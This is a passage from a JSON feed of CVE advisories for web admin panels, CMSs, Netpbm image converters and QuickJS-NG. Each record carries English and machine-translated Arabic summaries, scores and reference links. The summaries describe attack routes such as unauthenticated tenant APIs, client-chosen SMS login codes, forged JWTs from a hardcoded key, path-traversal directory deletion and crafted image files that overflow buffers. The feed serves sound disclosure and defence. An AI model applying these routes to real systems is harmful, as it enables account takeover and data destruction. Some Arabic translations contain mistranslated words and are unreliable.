مستأجر."},"refs":[["https://github.com/madong-code/madong-admin-saas/commit/2a199a1523ed749c94b876bc2ae5fedf252b2e39","patch"],["https://www.vulncheck.com/advisories/madong-admin-saas-through-5.1.4-incorrect-authorization-via-platformapi-accesstokenmiddleware","advisory"],["https://github.com/madong-code/madong-admin-saas/blob/v5.1.4/app/platform/middleware/AccessTokenMiddleware.php#L62-L73","ref"],["https://github.com/madong-code/madong-admin-saas/issues/2","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"madong-code-madong-admin-saas"},{"id":"CVE-2026-120446","cvss":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:27Z","product":"madong-code madong-admin-saas","affected":[["0 – 5.1.4",null]],"title":{"en":"madong-admin-saas through 5.1.4 Missing Authentication via Platform Tenant Management API","ar":"ثغرة غياب المصادقة في madong-admin-saas حتى الإصدار 5.1.4 عبر واجهة برمجة تطبيقات إدارة مستأجري المنصة"},"summary":{"en":"madong-admin-saas through 5.1.4 contains a missing authentication vulnerability in the platform tenant management API because the 'platformapi' middleware key never matches the 'platform' application. Unauthenticated remote attackers can call /platformapi/tenant/account, bind-plan and sync-data endpoints to list, create, modify, disable or delete tenants and bind subscription plans.","ar":"تحتوي madong-admin-saas حتى الإصدار 5.1.4 على ثغرة غياب المصادقة في واجهة برمجة تطبيقات إدارة مستأجري المنصة لأن مفتاح الوسيط 'platformapi' لا يتطابق أبدًا مع تطبيق 'platform'. يمكن للمهاجمين عن بُعد دون مصادقة استدعاء نقاط النهاية /platformapi/tenant/account و bind-plan و sync-data لسرد المستأجرين، أو إنشاءهم، أو تعديلهم، أو تعطيلهم، أو حذفهم، وربط خطط الاشتراك."},"refs":[["https://github.com/madong-code/madong-admin-saas/commit/2a199a1523ed749c94b876bc2ae5fedf252b2e39","patch"],["https://www.vulncheck.com/advisories/madong-admin-saas-through-5.1.4-missing-authentication-via-platform-tenant-management-api","advisory"],["https://github.com/madong-code/madong-admin-saas/blob/v5.1.4/app/platform/controller/tenant/AccountController.php#L26","ref"],["https://github.com/madong-code/madong-admin-saas/blob/v5.1.4/config/middleware.php","ref"],["https://github.com/madong-code/madong-admin-saas/issues/2","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"madong-code-madong-admin-saas"},{"id":"CVE-2026-120447","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:27Z","product":"bufanyun HotGo","affected":[["0 – 2.15.1",null],["2.8.4 – 2.15.1",null]],"title":{"en":"HotGo through 2.15.1 Authentication Bypass via Client-Set SMS Verification Code","ar":"ثغرة تجاوز المصادقة في HotGo حتى الإصدار 2.15.1 عبر رمز تحقق رسائل الجوال المحدد من قبل العميل"},"summary":{"en":"HotGo through 2.15.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to choose the SMS login verification code by supplying the Code field to /admin/sms/send. Attackers who know a user's mobile number can set a known code and sign in through /admin/site/mobileLogin to take over accounts, including administrators.","ar":"تحتوي HotGo حتى الإصدار 2.15.1 على ثغرة تجاوز مصادقة تسمح للمهاجمين دون مصادقة اختيار رمز تحقق تسجيل الدخول عبر الرسائل القصيرة من خلال توفير حقل Code إلى المسار /admin/sms/send. يمكن للمهاجمين الذين يعرفون رقم الهاتف المحمول للمستخدم تعيين رمز معروف وتسجيل الدخول عبر المسار /admin/site/mobileLogin للسيطرة على الحسابات، بما في ذلك حسابات المسؤولين."},"refs":[["https://github.com/bufanyun/hotgo/commit/cb57056c746650e6ff86dec1e97d404b63dcfd30","patch"],["https://www.vulncheck.com/advisories/hotgo-through-2.15.1-authentication-bypass-via-client-set-sms-verification-code","advisory"],["https://github.com/bufanyun/hotgo/blob/269b2f9e435cf8ff6b18d53bc053a905f4e02d11/server/internal/logic/sys/sms_log.go","ref"],["https://github.com/bufanyun/hotgo/blob/269b2f9e435cf8ff6b18d53bc053a905f4e02d11/server/internal/model/input/sysin/sms_log.go","ref"],["https://github.com/bufanyun/hotgo/issues/240","ref"],["https://vul.yulun.ac.cn/20261102/hotgo/","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"bufanyun-hotgo"},{"id":"CVE-2026-120448","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-915","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:27Z","product":"doramart DoraCMS","affected":[["0 – 3.1.0",null]],"title":{"en":"DoraCMS through 3.1.0 Mass Assignment via API Key Update Endpoint","ar":"ثغرة التعيين الشامل في DoraCMS حتى الإصدار 3.1.0 عبر نقطة نهاية تحديث مفتاح API"},"summary":{"en":"DoraCMS through 3.1.0 contains a mass assignment vulnerability in the PUT /api/v1/user/api-keys/:id endpoint that allows authenticated low-privileged users to rebind their API key to another user's account. Attackers can set the userId field on their own key to a victim's id, then act as that victim to modify profiles and publish or delete content.","ar":"تحتوي DoraCMS حتى الإصدار 3.1.0 على ثغرة تعيين شامِل في نقطة النهاية PUT /api/v1/user/api-keys/:id والتي تسمح للمستخدمين المصادق عليهم ذوي الصلاحيات المحدودة بإعادة ربط مفتاح API الخاص بهم بحساب مستخدم آخر. يمكن للمهاجمين تعيين حقل userId على مفتاحهم الخاص إلى معرف الضحية، ثم التصرف بصفتهم ذلك الضحية لتعديل الملفات الشخصية ونشر المحتوى أو حذفه."},"refs":[["https://github.com/doramart/DoraCMS/commit/ede38eb06e0becbee9f19190ebf3ada90a369eb0","patch"],["https://www.vulncheck.com/advisories/doracms-through-3.1.0-mass-assignment-via-api-key-update-endpoint","advisory"],["https://github.com/doramart/DoraCMS/blob/70cf0fc6dba66ec51747162a3ce71da43baf251b/server/app/service/apiKey.js","ref"],["https://vul.yulun.ac.cn/20261102/doracms/","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"doramart-doracms"},{"id":"CVE-2026-120442","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1394","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:26Z","product":"xianhc ape-volo-admin","affected":[["0 – <3.6.1","3.6.1"]],"title":{"en":"ape-volo-admin before 3.6.1 Hardcoded JWT Signing Key Authentication Bypass","ar":"تجاوز المصادقة عبر مفتاح توقيع JWT مدمج في ape-volo-admin قبل الإصدار 3.6.1"},"summary":{"en":"ape-volo-admin before 3.6.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens using a hardcoded JWT signing key in appsettings.json. Attackers can sign tokens offline with the jti claim set to the seeded administrator id to gain full API control over users, roles, permissions and data.","ar":"يحتوي ape-volo-admin قبل الإصدار 3.6.1 على ثغرة تجاوز للمصادقة تسمح للمهاجمين دون مصادقة بتزوير رموز المسؤولين باستخدام مفتاح توقيع JWT مدمج في الملف appsettings.json. يمكن للمهاجمين توقيع الرموز دون اتصال بالإنترنت مع ضبط مطالبة jti على معرف المسؤول المُعد سلفًا لجان تحكم كامل في واجهة برمجة التطبيقات عبر المستخدمين والأدوار والأحلام والبيانات."},"refs":[["https://github.com/xianhc/ape-volo-admin/commit/938f7ec58047f0c63123dc155d6a033910f00933","patch"],["https://www.vulncheck.com/advisories/ape-volo-admin-before-3.6.1-hardcoded-jwt-signing-key-authentication-bypass","advisory"],["https://github.com/xianhc/ape-volo-admin/blob/V3.5.2/Ape.Volo.Api/appsettings.json#L4-L10","ref"],["https://github.com/xianhc/ape-volo-admin/blob/V3.5.2/Ape.Volo.Infrastructure/Authentication/PermissionHandler.cs#L130-L172","ref"],["https://github.com/xianhc/ape-volo-admin/blob/V3.5.2/Ape.Volo.Infrastructure/Extensions/AuthorizationExtensions.cs#L50-L60","ref"],["https://github.com/xianhc/ape-volo-admin/issues/36","ref"],["https://github.com/xianhc/ape-volo-admin/releases/tag/V3.6.1","ref"],["https://hackmd.io/@hieuPenguinnn/ape-volo-admin-hardcoded-jwt-secret-admin-token-forgery","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"xianhc-ape-volo-admin"},{"id":"CVE-2026-120444","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T15:17:26Z","product":"sea-team GoFound","affected":[["0 – 1.4.1",null]],"title":{"en":"GoFound through 1.4.1 Path Traversal via database parameter in /api/db/drop","ar":"اجتياز المسار في GoFound حتى الإصدار 1.4.1 عبر معامل قاعدة البيانات في /api/db/drop"},"summary":{"en":"GoFound through 1.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to delete arbitrary directories by supplying ../ sequences in the database parameter. Attackers can send GET requests to /api/db/create and /api/db/drop, directly or via a victim's browser, triggering os.RemoveAll on directories outside the data directory.","ar":"تحتوي GoFound حتى الإصدار 1.4.1 على ثغرة اجتياز المسار والتي تسمح للمهاجمين دون مصادقة بحذف مجلدات عشوائية عن طريق توفير تسلسلات ../ في معامل قاعدة البيانات. يمكن للمهاجمين إرسال طلبات GET إلى /api/db/create و /api/db/drop، إما مباشرة أو عبر متصفح الضحية، مما يؤدي إلى تشغيل os.RemoveAll على المجلدات الموجودة خارج مجلد البيانات."},"refs":[["https://www.vulncheck.com/advisories/gofound-through-1.4.1-path-traversal-via-database-parameter-in-api-db-drop","advisory"],["https://github.com/sea-team/gofound/blob/v1.4.1/searcher/container.go","ref"],["https://github.com/sea-team/gofound/blob/v1.4.1/searcher/engine.go","ref"],["https://github.com/sea-team/gofound/issues/101","ref"],["https://vul.yulun.ac.cn/20261102/gofound/","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sea-team-gofound"},{"id":"CVE-2026-120434","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:25Z","product":"Netpbm Netpbm","affected":[["0 – <10.86.51","10.86.51"],["11.0 – <11.02.30","11.02.30"],["11.03 – <11.15.08","11.15.08"]],"title":{"en":"Netpbm before 10.86.51, 11.02.30, and 11.15.08 picttoppm Stack Overflow via scanPoly","ar":"فيضان المخزن المؤقت في مكدس Netpbm قبل الإصدارات 10.86.51 و 11.02.30 و 11.15.08 عبر scanPoly"},"summary":{"en":"Netpbm before 10.86.51, 11.x before 11.02.30, and 11.03 before 11.15.08 contains a stack-based buffer overflow in picttoppm's scanPoly() function in converter/ppm/picttoppm.c. Attackers can supply a crafted PICT file whose polygon edges produce more than 5000 points, overflowing the coord stack array to crash the converter or potentially execute code.","ar":"تحتوي Netpbm قبل الإصدار 10.86.51 والإصدارات 11.x قبل 11.02.30 والإصدارات 11.03 قبل 11.15.08 على فيضان للمخزن المؤقت يعتمد على المكدس في وظيفة scanPoly() الخاصة بـ picttoppm في الملف converter/ppm/picttoppm.c. يمكن للمهاجمين تقديم ملف PICT معد خصيصًا تنتج حواف مضلعه أكثر من 5000 نقطة، مما يؤدي إلى تجاوز مصفوفة مكدس التنسيق (coord stack) وتعطل المحول أو ربما تنفيذ شيفرة."},"refs":[["https://sourceforge.net/p/netpbm/code/5331/","patch"],["https://www.vulncheck.com/advisories/netpbm-before-10.86.51-11.02.30-and-11.15.08-picttoppm-stack-overflow-via-scanpoly","advisory"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5330/trunk/converter/ppm/picttoppm.c","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5357/advanced/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5358/stable/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5371/super_stable/doc/HISTORY","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netpbm"},{"id":"CVE-2026-120435","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:25Z","product":"Netpbm Netpbm","affected":[["0 – <10.86.51","10.86.51"],["11.0 – <11.02.30","11.02.30"],["11.03 – <11.15.08","11.15.08"]],"title":{"en":"Netpbm before 10.86.51, 11.02.30, and 11.15.08 Heap Overflow in xpmtoppm","ar":"فيضان المخزن المؤقت في الذاكرة الديناميكية (Heap) في xpmtoppm ضمن Netpbm قبل الإصدارات 10.86.51 و 11.02.30 و 11.15.08"},"summary":{"en":"Netpbm before 10.86.51, 11.x before 11.02.30, and 11.03 before 11.15.08 contains a heap buffer overflow in xpmtoppm caused by an unvalidated characters-per-pixel value in the XPM header. Attackers can supply a crafted XPM file with characters-per-pixel greater than 3 to overrun fixed 3-byte colorName hash entries, causing crashes or potentially code execution.","ar":"تحتوي Netpbm قبل الإصدار 10.86.51 والإصدارات 11.x قبل 11.02.30 والإصدارات 11.03 قبل 11.15.08 على فيضان للمخزن المؤقت في الذاكرة الديناميكية في xpmtoppm ناتج عن قيمة أحرف لكل بكسل غير مصدقة في رأس ملف XPM. يمكن للمهاجمين تقديم ملف XPM معد خصيصًا به أحرف لكل بكسل أكبر من 3 لتجاوز مدخلات جدول تجزئة colorName الثابتة ذات الـ 3 بايت، مما يتسبب في تعطل النظام أو ربما تنفيذ شيفرة."},"refs":[["https://sourceforge.net/p/netpbm/code/5336/","patch"],["https://www.vulncheck.com/advisories/netpbm-before-10.86.51-11.02.30-and-11.15.08-heap-overflow-in-xpmtoppm","advisory"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5335/trunk/converter/ppm/xpmtoppm.c","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5357/advanced/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5358/stable/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5371/super_stable/doc/HISTORY","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netpbm"},{"id":"CVE-2026-120436","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:25Z","product":"Netpbm Netpbm","affected":[["0 – <10.86.51","10.86.51"],["11.0 – <11.02.30","11.02.30"],["11.03 – <11.15.08","11.15.08"]],"title":{"en":"Netpbm before 10.86.51, 11.02.30, and 11.15.08 Heap Overflow via jbigtopnm","ar":"فيضان المخزن المؤقت في الذاكرة الديناميكية (Heap) عبر jbigtopnm في Netpbm قبل الإصدارات 10.86.51 و 11.02.30 و 11.15.08"},"summary":{"en":"Netpbm before 10.86.51, 11.x before 11.02.30, and 11.03 before 11.15.08 contains an integer overflow in jbigtopnm that causes heap buffer overflow when computing output buffer size. Attackers can supply a crafted multi-plane JBIG file with large header dimensions so jbg_dec_merge_planes() overflows the undersized buffer, causing crashes or potentially code execution.","ar":"تحتوي Netpbm قبل الإصدار 10.86.51 والإصدارات 11.x قبل 11.02.30 والإصدارات 11.03 قبل 11.15.08 على فيضان للأعداد الصحيحة في jbigtopnm والذي يتسبب في فيضان المخزن المؤقت للذاكرة الديناميكية عند حساب حجم المخزن المؤقت للإخراج. يمكن للمهاجمين تقديم ملف JBIG متعدد المستويات معد خصيصًا بأبعاد رأس كبيرة بحيث تؤدي وظيفة jbg_dec_merge_planes() إلى فيضان المخزن المؤقت ذي الحجم الصغير، مما يتسبب في حدوث أعطال أو احتمالية تنفيذ شيفرة."},"refs":[["https://sourceforge.net/p/netpbm/code/5324/","patch"],["https://www.vulncheck.com/advisories/netpbm-before-10.86.51-11.02.30-and-11.15.08-heap-overflow-via-jbigtopnm","advisory"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5323/trunk/converter/other/jbig/jbigtopnm.c","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5357/advanced/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5358/stable/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5371/super_stable/doc/HISTORY","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netpbm"},{"id":"CVE-2026-120438","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:25Z","product":"quickjs-ng QuickJS-NG","affected":[["0 – <0.16.0","0.16.0"]],"title":{"en":"QuickJS-NG before 0.16.0 Heap Buffer Overflow via Proxy ownKeys Enumeration","ar":"فيضان المخزن المؤقت في الذاكرة الديناميكية (Heap) في QuickJS-NG قبل الإصدار 0.16.0 عبر تعداد ownKeys للـ Proxy"},"summary":{"en":"QuickJS-NG before 0.16.0 contains an integer overflow in js_proxy_get_own_property_names() in quickjs.c that causes a heap buffer overflow on 32-bit hosts. Attackers running JavaScript can return a large array-like object from a Proxy ownKeys trap to wrap the allocation size, causing crashes or potential code execution.","ar":"يحتوي QuickJS-NG قبل الإصدار 0.16.0 على فيضان للأعداد الصحيحة في وظيفة js_proxy_get_own_property_names() في الملف quickjs.c مما يتسبب في فيضان المخزن المؤقت للذاكرة الديناميكية على المضيفين بتصميم 32 بت. يمكن للمهاجمين الذين يشغلون لغة JavaScript إرجاع كائن كبير يشبه مصفوفة من مصيدة Proxy ownKeys التفاف حجم التخصيص، مما يتسبب في تعطل النظام أو احتمالية تنفيذ شيفرة."},"refs":[["https://github.com/quickjs-ng/quickjs/commit/252209d99cf112568160548bdcaa98d95e0d0068","patch"],["https://github.com/quickjs-ng/quickjs/security/advisories/GHSA-jp52-chwg-2p9p","advisory"],["https://www.vulncheck.com/advisories/quickjs-ng-before-0.16.0-heap-buffer-overflow-via-proxy-ownkeys-enumeration","advisory"],["https://github.com/quickjs-ng/quickjs/blob/v0.15.1/quickjs.c#L51509","ref"],["https://github.com/quickjs-ng/quickjs/releases/tag/v0.16.0","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"quickjs-ng"},{"id":"CVE-2026-120439","cvss":7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:25Z","product":"quickjs-ng QuickJS-NG","affected":[["0 – <0.16.0","0.16.0"]],"title":{"en":"QuickJS-NG before 0.16.0 Heap Buffer Overflow via TypedArray.prototype.sort","ar":"فيضان المخزن المؤقت في الذاكرة الديناميكية (Heap) عبر TypedArray.prototype.sort في QuickJS-NG قبل الإصدار 0.16.0"},"summary":{"en":"QuickJS-NG before 0.16.0 contains an integer overflow in js_typed_array_sort() in quickjs.c that allows attackers to cause a heap buffer overflow on 32-bit hosts. Attackers who can run JavaScript can call TypedArray.prototype.sort with a comparator on a typed array near 2^30 elements, wrapping the allocation size and writing indices past the buffer to crash or potentially execute code.","ar":"يحتوي QuickJS-NG قبل الإصدار 0.16.0 على فيضان للأعداد الصحيحة في وظيفة js_typed_array_sort() في الملف quickjs.c والذي يتيح للمهاجمين التسبب في فيضان للمخزن المؤقت للذاكرة الديناميكية على المضيفين بتصميم 32 بت. يمكن للمهاجمين القادرين على تشغيل JavaScript استدعاء TypedArray.prototype.sort مع مُقارِن على مصفوفة مصنفة يقارب حجمها 2^30 عنصرًا، مما يؤدي إلى التفاف حجم التخصيص وكتابة مؤشرات تتجاوز المخزن المؤقت مما يتسبب في تعطل أو احتمالية تنفيذ شيفرة."},"refs":[["https://github.com/quickjs-ng/quickjs/commit/e93cca611908e12b824ec85fbee6b31a5ee61568","patch"],["https://github.com/quickjs-ng/quickjs/security/advisories/GHSA-9wv5-5cgr-grj6","advisory"],["https://www.vulncheck.com/advisories/quickjs-ng-before-0.16.0-heap-buffer-overflow-via-typedarray-prototype-sort","advisory"],["https://github.com/quickjs-ng/quickjs/blob/v0.15.1/quickjs.c#L60032","ref"],["https://github.com/quickjs-ng/quickjs/releases/tag/v0.16.0","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"quickjs-ng"},{"id":"CVE-2026-120429","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:24Z","product":"owen2345 Camaleon CMS","affected":[["0 – <2.9.2","2.9.2"]],"title":{"en":"Camaleon CMS before 2.9.2 Missing Authorization via Admin::MediaController","ar":"فقدان التفويض في Camaleon CMS قبل الإصدار 2.9.2 عبر Admin::MediaController"},"summary":{"en":"Camaleon CMS before 2.9.2 contains a missing authorization vulnerability in Admin::MediaController that allows low-privileged authenticated users to bypass the role-based Media permission. Attackers can POST to /admin/media/upload to store files, read private media via download_private_file, and use crop with saved_avatar to change other users' avatars.","ar":"يحتوي Camaleon CMS قبل الإصدار 2.9.2 على ثغرة فقدان تفويض في Admin::MediaController والتي تسمح للمستخدمين المصادق عليهم ذوي الصلاحيات المنخفضة بتجاوز إذن الوسائط القائم على الأدوار. يمكن للمهاجمين إرسال طلب POST إلى /admin/media/upload لتخزين الملفات، وقراءة الوسائط الخاصة عبر download_private_file، واستخدام القص (crop) مع الملف saved_avatar لتغيير صور الروابط الشخصية للمستخدمين الآخرين."},"refs":[["https://github.com/owen2345/camaleon-cms/commit/7fe4fa0bf99256dfe32b5f674baf4f771606549e","patch"],["https://github.com/owen2345/camaleon-cms/pull/1147","patch"],["https://www.vulncheck.com/advisories/camaleon-cms-before-2.9.2-missing-authorization-via-admin-mediacontroller","advisory"],["https://github.com/owen2345/camaleon-cms/blob/2.9.1/app/controllers/camaleon_cms/admin/media_controller.rb","ref"],["https://github.com/owen2345/camaleon-cms/releases/tag/2.9.2","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"owen2345-camaleon-cms"},{"id":"CVE-2026-120431","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:24Z","product":"Netpbm Netpbm","affected":[["0 – <10.86.51","10.86.51"],["11.0 – <11.02.29","11.02.29"],["11.03 – <11.15.07","11.15.07"]],"title":{"en":"Netpbm before 10.86.51, 11.02.29, and 11.15.07 sgitopnm Heap Buffer Overflow","ar":"فيضان المخزن المؤقت في الذاكرة الديناميكية (Heap) لـ sgitopnm في Netpbm قبل الإصدارات 10.86.51 و 11.02.29 و 11.15.07"},"summary":{"en":"Netpbm before 10.86.51, 11.x before 11.02.29, and 11.03 before 11.15.07 contains a heap-based buffer overflow in sgitopnm's readChannels() function when processing RLE-compressed SGI images. Attackers can supply crafted SGI files with oversized offset table lengths to write controlled data past the heap buffer, causing crashes or potential code execution.","ar":"تحتوي Netpbm قبل الإصدار 10.86.51 والإصدارات 11.x قبل 11.02.29 والإصدارات 11.03 قبل 11.15.07 على فيضان للمخزن المؤقت يعتمد على الذاكرة الديناميكية في وظيفة readChannels() الخاصة بـ sgitopnm عند معالجة صور SGI المضغوطة بتقنية RLE. يمكن للمهاجمين تقديم ملفات SGI معدة خصيصًا بأطوال جداول إزاحة مفرطة الحجم لكتابة بيانات متحكم بها تتجاوز مخزن الذاكرة الديناميكية المؤقت، مما يتسبب في أعطال أو احتمالية تنفيذ شيفرة."},"refs":[["https://sourceforge.net/p/netpbm/code/5317/","patch"],["https://www.vulncheck.com/advisories/netpbm-before-10.86.51-11.02.29-and-11.15.07-sgitopnm-heap-buffer-overflow","advisory"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5316/trunk/converter/other/sgitopnm.c","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5318/advanced/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5319/stable/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5371/super_stable/doc/HISTORY","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netpbm"},{"id":"CVE-2026-120432","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:24Z","product":"Netpbm Netpbm","affected":[["10.63 – <10.86.51","10.86.51"],["11.0 – <11.02.30","11.02.30"],["11.03 – <11.15.08","11.15.08"]],"title":{"en":"Netpbm before 10.86.51, 11.02.30, and 11.15.08 Integer Overflow in winicontopam","ar":"ثغرة فيضان الأعداد الصحيحة في winicontopam ضمن Netpbm قبل الإصدارات 10.86.51، 11.02.30، و11.15.08"},"summary":{"en":"Netpbm before 10.86.51, 11.02.30, and 11.15.08 contains an integer overflow vulnerability in winicontopam that allows attackers to corrupt heap memory via oversized ICO/CUR dimensions. Attackers can supply a crafted icon file with width or height above 32767, wrapping int16_t loop counters into negative row buffer indices to cause crashes or potential code execution.","ar":"تحتوي Netpbm قبل الإصدارات 10.86.51، 11.02.30، و11.15.08 على ثغرة فيضان الأعداد الصحيحة في winicontopam والتي تسمح للمهاجمين بإفساد ذاكرة التخزين المؤقت للكومة (heap memory) عبر أبعاد ICO/CUR مفرطة الحجم. يمكن للمهاجمين توفير ملف أيقونة معد خصيصًا بعرض أو ارتفاع يزيد عن 32767، مما يؤدي إلى التفاف عدادات حلقات int16_t إلى مؤشرات مخزن مؤقت للصفوف سالبة يتسبب في حدوث أعطال أو احتمال تنفيذ شيفرة."},"refs":[["https://sourceforge.net/p/netpbm/code/5335/","patch"],["https://www.vulncheck.com/advisories/netpbm-before-10.86.51-11.02.30-and-11.15.08-integer-overflow-in-winicontopam","advisory"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5334/trunk/converter/other/winicontopam.c","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5357/advanced/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5358/stable/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5371/super_stable/doc/HISTORY","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netpbm"},{"id":"CVE-2026-120433","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:24Z","product":"Netpbm Netpbm","affected":[["0 – <10.86.51","10.86.51"],["11.0 – <11.02.30","11.02.30"],["11.03 – <11.15.08","11.15.08"]],"title":{"en":"Netpbm before 10.86.51, 11.02.30, and 11.15.08 picttoppm Stack Buffer Overflow via paintPoly","ar":"ثغرة فيضان المخزن المؤقت لتكديس الذاكرة عبر paintPoly في picttoppm ضمن Netpbm قبل الإصدارات 10.86.51، 11.02.30، و11.15.08"},"summary":{"en":"Netpbm before 10.86.51, 11.x before 11.02.30, and 11.03 before 11.15.08 contains a stack-based buffer overflow in the picttoppm paintPoly() function due to an unbounded polygon point count. Attackers can supply a crafted PICT file with a polygon exceeding 100 points to overwrite the fixed pts array, causing crashes or potentially code execution.","ar":"تحتوي Netpbm قبل الإصدارات 10.86.51، والإصدارات 11.x قبل 11.02.30، والإصدارات 11.03 قبل 11.15.08 على ثغرة فيضان المخزن المؤقت القائم على التكديس (stack-based buffer overflow) في دالة picttoppm paintPoly() بسبب عدد نقاط مضلع غير محدد. يمكن للمهاجمين توفير ملف PICT معد خصيصًا بمضلع يتجاوز 100 نقطة للكتابة فوق مصفوفة pts الثابتة، مما يتسبب في حدوث أعطال أو احتمال تنفيذ 